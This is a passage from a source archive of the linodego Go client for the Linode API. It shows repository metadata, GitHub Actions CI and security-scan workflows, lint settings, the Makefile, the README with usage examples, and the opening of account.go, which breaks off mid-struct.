pax_global_header00006660000000000000000000000064147465237100014523gustar00rootroot0000000000000052 comment=c5883b6f48fd403be61e1f083e3062bc9fda0b1f golang-github-linode-linodego-1.47.0/000077500000000000000000000000001474652371000174115ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/.github/000077500000000000000000000000001474652371000207515ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/.github/CONTRIBUTING.md000066400000000000000000000037321474652371000232070ustar00rootroot00000000000000# Contributing Guidelines :+1::tada: First off, we appreciate you taking the time to contribute! THANK YOU! :tada::+1: We put together the handy guide below to help you get support for your work. Read on! ## I Just Want to Ask the Maintainers a Question The [Linode Community](https://www.linode.com/community/questions/) is a great place to get additional support. ## How Do I Submit A (Good) Bug Report or Feature Request Please open a [github issue](https://guides.github.com/features/issues/) to report bugs or suggest features. When filing an issue or feature request, help us avoid duplication and redundant effort -- check existing open or recently closed issues first. Detailed bug reports and requests easier for us to work with. Please include the following in your issue: * A reproducible test case or series of steps * The version of our code being used * Any modifications you've made, relevant to the bug * Anything unusual about your environment or deployment * Screenshots and code samples where illustrative and helpful ## How to Open a Pull Request We follow the [fork and pull model](https://opensource.guide/how-to-contribute/#opening-a-pull-request) for open source contributions. Tips for a faster merge: * address one feature or bug per pull request. * large formatting changes make it hard for us to focus on your work. * follow language coding conventions. * make sure that tests pass. * make sure your commits are atomic, [addressing one change per commit](https://chris.beams.io/posts/git-commit/). * add tests! ## Code of Conduct This project follows the [Linode Community Code of Conduct](https://www.linode.com/community/questions/conduct). ## Vulnerability Reporting If you discover a potential security issue in this project we ask that you notify Linode Security via our [vulnerability reporting process](https://hackerone.com/linode). Please do **not** create a public github issue. ## Licensing See the LICENSE file for our project's licensing. golang-github-linode-linodego-1.47.0/.github/ISSUE_TEMPLATE.md000066400000000000000000000001601474652371000234530ustar00rootroot00000000000000The [Linode Community](https://www.linode.com/community/questions/) is a great place to get additional support. golang-github-linode-linodego-1.47.0/.github/ISSUE_TEMPLATE/000077500000000000000000000000001474652371000231345ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/.github/ISSUE_TEMPLATE/bug.yml000066400000000000000000000024151474652371000244360ustar00rootroot00000000000000name: Bug Report description: File a bug report title: "[Bug]: " labels: ["bug"] body: - type: input id: go-version attributes: label: go Version description: What version of go are you running? `go version` placeholder: go version go1.18.1 linux/amd64 validations: required: true - type: input id: linodego-version attributes: label: API Wrapper Version description: What version of our wrapper are you running? placeholder: github.com/linode/linodego v1.0.0 validations: required: true - type: textarea id: code attributes: render: go label: Code Snippet description: If your files are too long for a short code snippet please use GitHub Gists - type: textarea id: expected attributes: label: Expected Behavior description: What should have happened? validations: required: true - type: textarea id: actual attributes: label: Actual Behavior description: What actually happened? validations: required: true - type: textarea id: reproduce attributes: label: Steps to Reproduce description: List any custom configurations and the steps to reproduce this error validations: required: true golang-github-linode-linodego-1.47.0/.github/ISSUE_TEMPLATE/feature.yml000066400000000000000000000010111474652371000253030ustar00rootroot00000000000000name: Enhancement description: Request a feature title: "[Feature]: " labels: ["enhancement"] body: - type: textarea id: description attributes: label: Description description: What would you like this feature to do in detail? validations: required: true - type: textarea id: example attributes: label: Example Code description: How would you use this feature in some example code? placeholder: | ```go var := linodego.NewFeature() ``` golang-github-linode-linodego-1.47.0/.github/ISSUE_TEMPLATE/help.yml000066400000000000000000000011251474652371000246060ustar00rootroot00000000000000name: Help description: You're pretty sure it's not a bug but you can't figure out why it's not working title: "[Help]: " labels: ["help wanted"] body: - type: textarea id: description attributes: label: Description description: What are you attempting to do, what error messages are you getting? validations: required: true - type: textarea id: code attributes: label: Attempted Code description: If your code is longer than a small snipit please use Gists placeholder: | ```go var := linodego.NewFeature() ``` golang-github-linode-linodego-1.47.0/.github/PULL_REQUEST_TEMPLATE.md000066400000000000000000000005441474652371000245550ustar00rootroot00000000000000## ๐Ÿ“ Description **What does this PR do and why is this change necessary?** ## โœ”๏ธ How to Test **What are the steps to reproduce the issue or verify the changes?** **How do I run the relevant unit/integration tests?** ## ๐Ÿ“ท Preview **If applicable, include a screenshot or code snippet of this change. Otherwise, please remove this section.**golang-github-linode-linodego-1.47.0/.github/dependabot.yml000066400000000000000000000003511474652371000236000ustar00rootroot00000000000000version: 2 updates: - package-ecosystem: gomod directory: "/" schedule: interval: daily open-pull-requests-limit: 10 - package-ecosystem: "github-actions" directory: "/" schedule: interval: weekly golang-github-linode-linodego-1.47.0/.github/labels.yml000066400000000000000000000024051474652371000227370ustar00rootroot00000000000000# PR Labels - name: new-feature description: for new features in the changelog. color: 225fee - name: project description: for new projects in the changelog. color: 46BAF0 - name: improvement description: for improvements in existing functionality in the changelog. color: 22ee47 - name: repo-ci-improvement description: for improvements in the repository or CI workflow in the changelog. color: c922ee - name: bugfix description: for any bug fixes in the changelog. color: ed8e21 - name: documentation description: for updates to the documentation in the changelog. color: d3e1e6 - name: dependencies description: dependency updates usually from dependabot color: 5c9dff - name: testing description: for updates to the testing suite in the changelog. color: 933ac9 - name: breaking-change description: for breaking changes in the changelog. color: ff0000 - name: ignore-for-release description: PRs you do not want to render in the changelog color: 7b8eac - name: do-not-merge description: PRs that should not be merged until the commented issue is resolved color: eb1515 # Issue Labels - name: enhancement description: issues that request a enhancement color: 22ee47 - name: bug description: issues that report a bug color: ed8e21 golang-github-linode-linodego-1.47.0/.github/release.yml000066400000000000000000000013711474652371000231160ustar00rootroot00000000000000changelog: exclude: labels: - ignore-for-release categories: - title: ๐Ÿ“‹ New Project labels: - project - title: โš ๏ธ Breaking Change labels: - breaking-change - title: ๐Ÿ› Bug Fixes labels: - bugfix - title: ๐Ÿš€ New Features labels: - new-feature - title: ๐Ÿ’ก Improvements labels: - improvement - title: ๐Ÿงช Testing Improvements labels: - testing - title: โš™๏ธ Repo/CI Improvements labels: - repo-ci-improvement - title: ๐Ÿ“– Documentation labels: - documentation - title: ๐Ÿ“ฆ Dependency Updates labels: - dependencies - title: Other Changes labels: - "*" golang-github-linode-linodego-1.47.0/.github/workflows/000077500000000000000000000000001474652371000230065ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/.github/workflows/ci.yml000066400000000000000000000074321474652371000241320ustar00rootroot00000000000000name: Continuous Integration on: workflow_dispatch: null push: branches: - main pull_request: null jobs: lint-tidy: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-go@v5 with: go-version: stable - name: golangci-lint uses: golangci/golangci-lint-action@v6 with: version: latest - name: Run tidy run: make tidy - name: Fail if changes run: git diff-index --exit-code HEAD test: runs-on: ubuntu-latest env: EXIT_STATUS: 0 steps: - name: Clone Repository uses: actions/checkout@v4 with: fetch-depth: 0 submodules: 'recursive' - name: Set up Go uses: actions/setup-go@v5 with: go-version: 'stable' - run: go version - name: Setup Python uses: actions/setup-python@v5 with: python-version: '3.x' - name: Install Python deps run: pip3 install requests wheel boto3==1.35.99 - name: Install go-junit-report run: go install github.com/jstemmer/go-junit-report/v2@latest - name: Set report filename run: echo "REPORT_FILENAME=$(date +'%Y%m%d%H%M')_linodego_test_report.xml" >> $GITHUB_ENV - name: Run tests and save test report run: | make test | go-junit-report -set-exit-code -iocopy -out $REPORT_FILENAME env: SKIP_LINT: 1 - name: Upload test results to bucket if: github.ref == 'refs/heads/main' && github.event_name == 'push' && always() run: | python3 e2e_scripts/tod_scripts/xml_to_obj_storage/scripts/add_gha_info_to_xml.py \ --branch_name "${GITHUB_REF#refs/*/}" \ --gha_run_id "$GITHUB_RUN_ID" \ --gha_run_number "$GITHUB_RUN_NUMBER" \ --xmlfile "$REPORT_FILENAME" sync python3 e2e_scripts/tod_scripts/xml_to_obj_storage/scripts/xml_to_obj.py "$REPORT_FILENAME" env: LINODE_CLI_OBJ_ACCESS_KEY: ${{ secrets.LINODE_CLI_OBJ_ACCESS_KEY }} LINODE_CLI_OBJ_SECRET_KEY: ${{ secrets.LINODE_CLI_OBJ_SECRET_KEY }} notify-slack: runs-on: ubuntu-latest needs: [ test ] if: ${{ (success() || failure()) && github.ref == 'refs/heads/main' && github.event_name == 'push' && github.repository == 'linode/linodego' }} steps: - name: Notify Slack uses: slackapi/slack-github-action@v2.0.0 with: method: chat.postMessage token: ${{ secrets.SLACK_BOT_TOKEN }} payload: | channel: ${{ secrets.SLACK_CHANNEL_ID }} blocks: - type: section text: type: mrkdwn text: ":rocket: *${{ github.workflow }} Completed in: ${{ github.repository }}* :white_check_mark:" - type: divider - type: section fields: - type: mrkdwn text: "*Build Result:*\n${{ needs.test.result == 'success' && ':large_green_circle: Build Passed' || ':red_circle: Build Failed' }}" - type: mrkdwn text: "*Branch:*\n`${{ github.ref_name }}`" - type: section fields: - type: mrkdwn text: "*Commit Hash:*\n<${{ github.server_url }}/${{ github.repository }}/commit/${{ github.sha }}|${{ github.sha }}>" - type: mrkdwn text: "*Run URL:*\n<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|View Run Details>" - type: divider - type: context elements: - type: mrkdwn text: "Triggered by: :bust_in_silhouette: `${{ github.actor }}`" golang-github-linode-linodego-1.47.0/.github/workflows/codeql.yml000066400000000000000000000015341474652371000250030ustar00rootroot00000000000000name: "CodeQL Advanced" on: push: branches: [ "dev", "main", "proj/*" ] pull_request: branches: [ "dev", "main", "proj/*" ] schedule: - cron: '39 0 * * 6' jobs: analyze: name: Analyze (${{ matrix.language }}) runs-on: ubuntu-latest permissions: security-events: write strategy: fail-fast: false matrix: include: - language: go build-mode: autobuild steps: - name: Checkout repository uses: actions/checkout@v4 - name: Initialize CodeQL uses: github/codeql-action/init@v3 with: languages: ${{ matrix.language }} build-mode: ${{ matrix.build-mode }} queries: security-and-quality - name: Perform CodeQL Analysis uses: github/codeql-action/analyze@v3 with: category: "/language:${{matrix.language}}" golang-github-linode-linodego-1.47.0/.github/workflows/integration_tests_pr.yml000066400000000000000000000126171474652371000300060ustar00rootroot00000000000000on: pull_request: workflow_dispatch: inputs: sha: description: 'The hash value of the commit.' required: true module: description: 'The module to be tested.' required: false pull_request_number: description: 'The number of the PR.' required: false name: Integration tests on PR jobs: integration-fork: runs-on: ubuntu-latest if: github.event_name == 'workflow_dispatch' && inputs.sha != '' steps: - uses: actions/setup-go@v5 with: go-version: 'stable' - run: go version - uses: actions-ecosystem/action-regex-match@v2 id: disallowed-char-check with: text: ${{ inputs.module }} regex: '[^a-z0-9_\/]' flags: gi # Check out merge commit - name: Checkout PR uses: actions/checkout@v4 with: ref: ${{ inputs.sha }} - run: make ARGS="-run ${{ inputs.module }}" fixtures if: ${{ inputs.module != '' && steps.disallowed-char-check.outputs.match == '' }} env: LINODE_TOKEN: ${{ secrets.DX_LINODE_TOKEN }} - run: make fixtures if: ${{ inputs.module == '' }} env: LINODE_TOKEN: ${{ secrets.DX_LINODE_TOKEN }} - name: Get the hash value of the latest commit from the PR branch uses: octokit/graphql-action@v2.x id: commit-hash if: ${{ inputs.pull_request_number != '' }} with: query: | query PRHeadCommitHash($owner: String!, $repo: String!, $pr_num: Int!) { repository(owner:$owner, name:$repo) { pullRequest(number: $pr_num) { headRef { target { ... on Commit { oid } } } } } } owner: ${{ github.event.repository.owner.login }} repo: ${{ github.event.repository.name }} pr_num: ${{ fromJSON(inputs.pull_request_number) }} env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - uses: actions/github-script@v7 id: update-check-run if: ${{ inputs.pull_request_number != '' && fromJson(steps.commit-hash.outputs.data).repository.pullRequest.headRef.target.oid == inputs.sha }} env: number: ${{ inputs.pull_request_number }} job: ${{ github.job }} conclusion: ${{ job.status }} with: github-token: ${{ secrets.GITHUB_TOKEN }} script: | const { data: pull } = await github.rest.pulls.get({ ...context.repo, pull_number: process.env.number }); const ref = pull.head.sha; const { data: checks } = await github.rest.checks.listForRef({ ...context.repo, ref }); const check = checks.check_runs.filter(c => c.name === process.env.job); const { data: result } = await github.rest.checks.update({ ...context.repo, check_run_id: check[0].id, status: 'completed', conclusion: process.env.conclusion }); return result; apply-calico-rules: runs-on: ubuntu-latest needs: [integration-fork] if: ${{ success() || failure() }} steps: - name: Checkout code uses: actions/checkout@v4 with: fetch-depth: 0 submodules: 'recursive' - name: Download kubectl and calicoctl for LKE clusters run: | curl -LO "https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl" curl -LO "https://github.com/projectcalico/calico/releases/download/v3.25.0/calicoctl-linux-amd64" chmod +x calicoctl-linux-amd64 kubectl mv calicoctl-linux-amd64 /usr/local/bin/calicoctl mv kubectl /usr/local/bin/kubectl - name: Apply Calico Rules to LKE run: | cd e2e_scripts/cloud_security_scripts/lke_calico_rules/ && ./lke_calico_rules_e2e.sh env: LINODE_TOKEN: ${{ secrets.DX_LINODE_TOKEN }} add-fw-to-remaining-instances: runs-on: ubuntu-latest needs: [integration-fork] if: ${{ success() || failure() }} steps: - name: Set up Python uses: actions/setup-python@v5 with: python-version: '3.x' - name: Install Linode CLI run: | pip install linode-cli - name: Create Firewall and Attach to Instances run: | FIREWALL_ID=$(linode-cli firewalls create --label "e2e-fw-$(date +%s)" --rules.inbound_policy "DROP" --rules.outbound_policy "ACCEPT" --text --format=id --no-headers) echo "Created Firewall with ID: $FIREWALL_ID" for instance_id in $(linode-cli linodes list --format "id" --text --no-header); do echo "Attaching firewall to instance: $instance_id" if linode-cli firewalls device-create "$FIREWALL_ID" --id "$instance_id" --type linode; then echo "Firewall attached to instance $instance_id successfully." else echo "An error occurred while attaching firewall to instance $instance_id. Skipping..." fi done env: LINODE_CLI_TOKEN: ${{ secrets.DX_LINODE_TOKEN }}golang-github-linode-linodego-1.47.0/.github/workflows/labeler.yml000066400000000000000000000012761474652371000251450ustar00rootroot00000000000000name: labeler on: push: branches: - 'main' paths: - '.github/labels.yml' - '.github/workflows/labeler.yml' pull_request: paths: - '.github/labels.yml' - '.github/workflows/labeler.yml' jobs: labeler: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v4 - name: Run Labeler uses: crazy-max/ghaction-github-labeler@b54af0c25861143e7c8813d7cbbf46d2c341680c with: github-token: ${{ secrets.GITHUB_TOKEN }} yaml-file: .github/labels.yml dry-run: ${{ github.event_name == 'pull_request' }} exclude: | help* *issue golang-github-linode-linodego-1.47.0/.github/workflows/nightly_smoke_tests.yml000066400000000000000000000044671474652371000276420ustar00rootroot00000000000000name: Nightly Smoke Tests on: schedule: - cron: "0 0 * * *" workflow_dispatch: inputs: sha: description: 'Commit SHA to test' required: false default: '' type: string jobs: smoke_tests: if: github.repository == 'linode/linodego' || github.event_name == 'workflow_dispatch' runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v4 with: fetch-depth: 0 submodules: 'recursive' ref: ${{ github.event.inputs.sha || github.ref }} - name: Set up Go uses: actions/setup-go@v5 with: go-version: '1.x' - name: Run smoke tests id: smoke_tests run: | make test-smoke env: LINODE_TOKEN: ${{ secrets.DX_LINODE_TOKEN }} - name: Notify Slack if: (success() || failure()) && github.repository == 'linode/linodego' uses: slackapi/slack-github-action@v2.0.0 with: method: chat.postMessage token: ${{ secrets.SLACK_BOT_TOKEN }} payload: | channel: ${{ secrets.SLACK_CHANNEL_ID }} blocks: - type: section text: type: mrkdwn text: ":rocket: *${{ github.workflow }} Completed in: ${{ github.repository }}* :white_check_mark:" - type: divider - type: section fields: - type: mrkdwn text: "*Build Result:*\n${{ steps.smoke_tests.outcome == 'success' && ':large_green_circle: Build Passed' || ':red_circle: Build Failed' }}" - type: mrkdwn text: "*Branch:*\n`${{ github.ref_name }}`" - type: section fields: - type: mrkdwn text: "*Commit Hash:*\n<${{ github.server_url }}/${{ github.repository }}/commit/${{ github.sha }}|${{ github.sha }}>" - type: mrkdwn text: "*Run URL:*\n<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|View Run Details>" - type: divider - type: context elements: - type: mrkdwn text: "Triggered by: :bust_in_silhouette: `${{ github.actor }}`"golang-github-linode-linodego-1.47.0/.github/workflows/release-cross-repo-test.yml000066400000000000000000000017021474652371000302200ustar00rootroot00000000000000name: Release Terraform cross repository test on: workflow_dispatch: # Manual trigger jobs: terraform_integration_test: runs-on: ubuntu-latest steps: - name: checkout terraform repo uses: actions/checkout@v4 with: repository: linode/terraform-provider-linode fetch-depth: 0 submodules: 'recursive' - name: Set up Go uses: actions/setup-go@v5 with: go-version: 'stable' - run: go version - run: make deps - name: Clone Repository uses: actions/checkout@v4 with: path: linodego - name: Set up linodego run: | cd linodego linodego_dir=$(pwd) cd .. go mod edit -replace github.com/linode/linodego=$linodego_dir go mod tidy - name: run tests run: | make test-int env: LINODE_TOKEN: ${{ secrets.DX_LINODE_TOKEN }} golang-github-linode-linodego-1.47.0/.github/workflows/release-notify-slack.yml000066400000000000000000000013371474652371000275560ustar00rootroot00000000000000name: Notify Dev DX Channel on Release on: release: types: [published] workflow_dispatch: null jobs: notify: if: github.repository == 'linode/linodego' runs-on: ubuntu-latest steps: - name: Notify Slack - Main Message uses: slackapi/slack-github-action@v2.0.0 with: method: chat.postMessage token: ${{ secrets.SLACK_BOT_TOKEN }} payload: | channel: ${{ secrets.DEV_DX_SLACK_CHANNEL_ID }} blocks: - type: section text: type: mrkdwn text: "*New Release Published: _linodego_ <${{ github.event.release.html_url }}|${{ github.event.release.tag_name }}> is now live!* :tada:"golang-github-linode-linodego-1.47.0/.github/workflows/security_pr.yml000066400000000000000000000015021474652371000260770ustar00rootroot00000000000000name: Security Checks for Pull Requests on: pull_request: null jobs: dependency-review: permissions: contents: read pull-requests: write runs-on: ubuntu-latest steps: - name: 'Checkout repository' uses: actions/checkout@v4 - name: 'Dependency Review' uses: actions/dependency-review-action@v4 with: comment-summary-in-pr: on-failure gosec_scan: runs-on: ubuntu-latest env: GO111MODULE: on steps: - name: Checkout Source uses: actions/checkout@v4 - name: Run Gosec Security Scanner on root directory uses: securego/gosec@master with: # We need to temporarily exclude this as gosec doesn't # support using module files from subdirectories. args: -exclude-dir=k8s ./... golang-github-linode-linodego-1.47.0/.github/workflows/stale.yml000066400000000000000000000011401474652371000246350ustar00rootroot00000000000000name: 'Stale issue handler' on: workflow_dispatch: null schedule: - cron: '0 0 * * *' jobs: stale: runs-on: ubuntu-latest steps: - uses: actions/stale@v9 id: stale with: stale-issue-message: 'This issue is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 5 days' days-before-stale: 30 days-before-close: 5 exempt-issue-labels: 'blocked,must,should,keep' - name: Print outputs run: echo ${{ join(steps.stale.outputs.*, ',') }}golang-github-linode-linodego-1.47.0/.gitignore000066400000000000000000000005421474652371000214020ustar00rootroot00000000000000# Binaries for programs and plugins *.exe *.dll *.so *.dylib # Test binary, build with `go test -c` *.test # Output of the go coverage tool, specifically when used with LiteIDE *.out # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736 .glide/ # Common IDE paths .vscode/ .idea/ vendor/**/ .env coverage.txt go.work.sum golang-github-linode-linodego-1.47.0/.gitmodules000066400000000000000000000001431474652371000215640ustar00rootroot00000000000000[submodule "e2e_scripts"] path = e2e_scripts url = https://github.com/linode/dx-e2e-test-scripts golang-github-linode-linodego-1.47.0/.golangci.yml000066400000000000000000000022421474652371000217750ustar00rootroot00000000000000run: tests: false linters-settings: errcheck: check-type-assertions: true check-blank: true govet: enable: - atomicalign - shadow enable-all: false disable-all: false gocyclo: min-complexity: 30 gocognit: min-complexity: 30 dupl: threshold: 100 linters: enable-all: true disable: # deprecated linters - exportloopref #################### # conflicted with go fmt - nolintlint # workaround to avoid linter failures of getting malformed json - musttag - err113 - bodyclose - contextcheck - nilerr - noctx - rowserrcheck - sqlclosecheck - tparallel - errname - forcetypeassert - gocyclo - unparam - nakedret - lll - dupl - gosec - gochecknoinits - gochecknoglobals - exhaustruct - nonamedreturns - errcheck - staticcheck - stylecheck - wsl - varnamelen - tagliatelle - nlreturn - wrapcheck - wastedassign - durationcheck - errorlint - cyclop - godot - exhaustive - depguard - tagalign - inamedparam - perfsprint - recvcheck fast: false golang-github-linode-linodego-1.47.0/CODEOWNERS000066400000000000000000000000151474652371000210000ustar00rootroot00000000000000* @linode/dx golang-github-linode-linodego-1.47.0/LICENSE000066400000000000000000000020751474652371000204220ustar00rootroot00000000000000MIT License Copyright (c) 2017 Christopher "Chief" Najewicz Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. golang-github-linode-linodego-1.47.0/Makefile000066400000000000000000000054211474652371000210530ustar00rootroot00000000000000-include .env BIN_DIR := $(GOPATH)/bin INTEGRATION_DIR := ./test/integration FIXTURES_DIR := $(INTEGRATION_DIR)/fixtures TEST_TIMEOUT := 5h SKIP_DOCKER ?= 0 GOLANGCILINT := golangci-lint GOLANGCILINT_IMG := golangci/golangci-lint:latest GOLANGCILINT_ARGS := run LINODE_URL ?= https://api.linode.com/ PACKAGES := $(shell go list ./... | grep -v integration) SKIP_LINT ?= 0 .PHONY: build vet test refresh-fixtures clean clean-cov clean-fixtures lint run_fixtures sanitize fixtures godoc test-int test-unit test-smoke testcov tidy test: build lint test-unit test-int citest: lint test test-unit: go test -v $(PACKAGES) $(TEST_ARGS) cd test && make test-unit test-int: cd test && make test-int testcov-func: @go test -v -coverprofile="coverage.txt" . > /dev/null 2>&1 @go tool cover -func coverage.txt # Note for WSL Users, set BROWSER=wslview testcov-html: @go test -v -coverprofile="coverage.txt" . > /dev/null 2>&1 @go tool cover -html coverage.txt test-smoke: cd test && make test-smoke build: vet lint go build ./... cd k8s && go build ./... vet: go vet ./... cd k8s && go vet ./... lint: ifeq ($(SKIP_LINT), 1) @echo Skipping lint stage else ifeq ($(SKIP_DOCKER), 1) $(GOLANGCILINT) $(GOLANGCILINT_ARGS) else docker run --rm -v $(shell pwd):/app -w /app $(GOLANGCILINT_IMG) $(GOLANGCILINT) $(GOLANGCILINT_ARGS) endif clean: clean-cov clean-cov: @-rm -f coverage.txt clean-fixtures: @-rm -f fixtures/*.yaml refresh-fixtures: clean-fixtures fixtures run_fixtures: @echo "* Running fixtures" cd $(INTEGRATION_DIR) && \ LINODE_FIXTURE_MODE="record" \ LINODE_TOKEN=$(LINODE_TOKEN) \ LINODE_API_VERSION="v4beta" \ LINODE_URL="$(LINODE_URL)" \ GO111MODULE="on" \ go test --tags $(TEST_TAGS) -timeout=$(TEST_TIMEOUT) -v $(TEST_ARGS) sanitize: @echo "* Sanitizing fixtures" @for yaml in $(FIXTURES_DIR)/*yaml; do \ sed -E -i.bak \ -e 's_stats/20[0-9]{2}/[1-9][0-2]?_stats/2018/1_g' \ -e 's/(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))/1234::5678/g' \ $$yaml; \ done @find $(FIXTURES_DIR) -name *yaml.bak -exec rm {} \; fixtures: run_fixtures sanitize godoc: @godoc -http=:6060 tidy: go mod tidy cd k8s && go mod tidy cd test && go mod tidy golang-github-linode-linodego-1.47.0/README.md000066400000000000000000000127621474652371000207000ustar00rootroot00000000000000# linodego ![Tests](https://img.shields.io/github/actions/workflow/status/linode/linodego/ci.yml?branch=main) [![Release](https://img.shields.io/github/v/release/linode/linodego)](https://github.com/linode/linodego/releases/latest) [![GoDoc](https://godoc.org/github.com/linode/linodego?status.svg)](https://godoc.org/github.com/linode/linodego) [![Go Report Card](https://goreportcard.com/badge/github.com/linode/linodego)](https://goreportcard.com/report/github.com/linode/linodego) Go client for [Linode REST v4 API](https://techdocs.akamai.com/linode-api/reference/api) ## Installation ```sh go get -u github.com/linode/linodego ``` ## Documentation See [godoc](https://godoc.org/github.com/linode/linodego) for a complete reference. The API generally follows the naming patterns prescribed in the [OpenAPIv3 document for Linode APIv4](https://techdocs.akamai.com/linode-api/reference/api). Deviations in naming have been made to avoid using "Linode" and "Instance" redundantly or inconsistently. A brief summary of the features offered in this API client are shown here. ## Examples ### General Usage ```go package main import ( "context" "fmt" "log" "net/http" "os" "github.com/linode/linodego" "golang.org/x/oauth2" ) func main() { apiKey, ok := os.LookupEnv("LINODE_TOKEN") if !ok { log.Fatal("Could not find LINODE_TOKEN, please assert it is set.") } tokenSource := oauth2.StaticTokenSource(&oauth2.Token{AccessToken: apiKey}) oauth2Client := &http.Client{ Transport: &oauth2.Transport{ Source: tokenSource, }, } linodeClient := linodego.NewClient(oauth2Client) linodeClient.SetDebug(true) res, err := linodeClient.GetInstance(context.Background(), 4090913) if err != nil { log.Fatal(err) } fmt.Printf("%v", res) } ``` ### Pagination #### Auto-Pagination Requests ```go kernels, err := linodego.ListKernels(context.Background(), nil) // len(kernels) == 218 ``` Or, use a page value of "0": ```go opts := linodego.NewListOptions(0,"") kernels, err := linodego.ListKernels(context.Background(), opts) // len(kernels) == 218 ``` #### Single Page ```go opts := linodego.NewListOptions(2,"") // or opts := linodego.ListOptions{PageOptions: &linodego.PageOptions{Page: 2}, PageSize: 500} kernels, err := linodego.ListKernels(context.Background(), opts) // len(kernels) == 100 ``` ListOptions are supplied as a pointer because the Pages and Results values are set in the supplied ListOptions. ```go // opts.Results == 218 ``` > **_NOTES:_** > - The ListOptions will be mutated by list endpoint functions. > - Instances of ListOptions should NOT be shared across multiple list endpoint functions. > - The resulting number of results and pages can be accessed through the user-supplied ListOptions instance. #### Filtering ```go f := linodego.Filter{} f.AddField(linodego.Eq, "mine", true) fStr, err := f.MarshalJSON() if err != nil { log.Fatal(err) } opts := linodego.NewListOptions(0, string(fStr)) stackscripts, err := linodego.ListStackscripts(context.Background(), opts) ``` ### Error Handling #### Getting Single Entities ```go linode, err := linodego.GetInstance(context.Background(), 555) // any Linode ID that does not exist or is not yours // linode == nil: true // err.Error() == "[404] Not Found" // err.Code == "404" // err.Message == "Not Found" ``` #### Lists For lists, the list is still returned as `[]`, but `err` works the same way as on the `Get` request. ```go linodes, err := linodego.ListInstances(context.Background(), linodego.NewListOptions(0, "{\"foo\":bar}")) // linodes == [] // err.Error() == "[400] [X-Filter] Cannot filter on foo" ``` Otherwise sane requests beyond the last page do not trigger an error, just an empty result: ```go linodes, err := linodego.ListInstances(context.Background(), linodego.NewListOptions(9999, "")) // linodes == [] // err = nil ``` ### Response Caching By default, certain endpoints with static responses will be cached into memory. Endpoints with cached responses are identified in their [accompanying documentation](https://pkg.go.dev/github.com/linode/linodego?utm_source=godoc). The default cache entry expiry time is `15` minutes. Certain endpoints may override this value to allow for more frequent refreshes (e.g. `client.GetRegion(...)`). The global cache expiry time can be customized using the `client.SetGlobalCacheExpiration(...)` method. Response caching can be globally disabled or enabled for a client using the `client.UseCache(...)` method. The global cache can be cleared and refreshed using the `client.InvalidateCache()` method. ### Writes When performing a `POST` or `PUT` request, multiple field related errors will be returned as a single error, currently like: ```go // err.Error() == "[400] [field1] foo problem; [field2] bar problem; [field3] baz problem" ``` ## Tests Run `make test-unit` to run the unit tests. Run `make test-int` to run the integration tests. The integration tests use fixtures. To update the test fixtures, run `make fixtures`. This will record the API responses into the `fixtures/` directory. Be careful about committing any sensitive account details. An attempt has been made to sanitize IP addresses and dates, but no automated sanitization will be performed against `fixtures/*Account*.yaml`, for example. To prevent disrupting unaffected fixtures, target fixture generation like so: `make TEST_ARGS="-run TestListVolumes" fixtures`. ## Discussion / Help Join us at [#linodego](https://gophers.slack.com/messages/CAG93EB2S) on the [gophers slack](https://gophers.slack.com) ## License [MIT License](LICENSE) golang-github-linode-linodego-1.47.0/account.go000066400000000000000000000061301474652371000213740ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // Account associated with the token in use. type Account struct { FirstName string `json:"first_name"` LastName string `json:"last_name"` Email string `json:"email"` Company string `json:"company"` Address1 string `json:"address_1"` Address2 string `json:"address_2"` Balance float32 `json:"balance"` BalanceUninvoiced float32 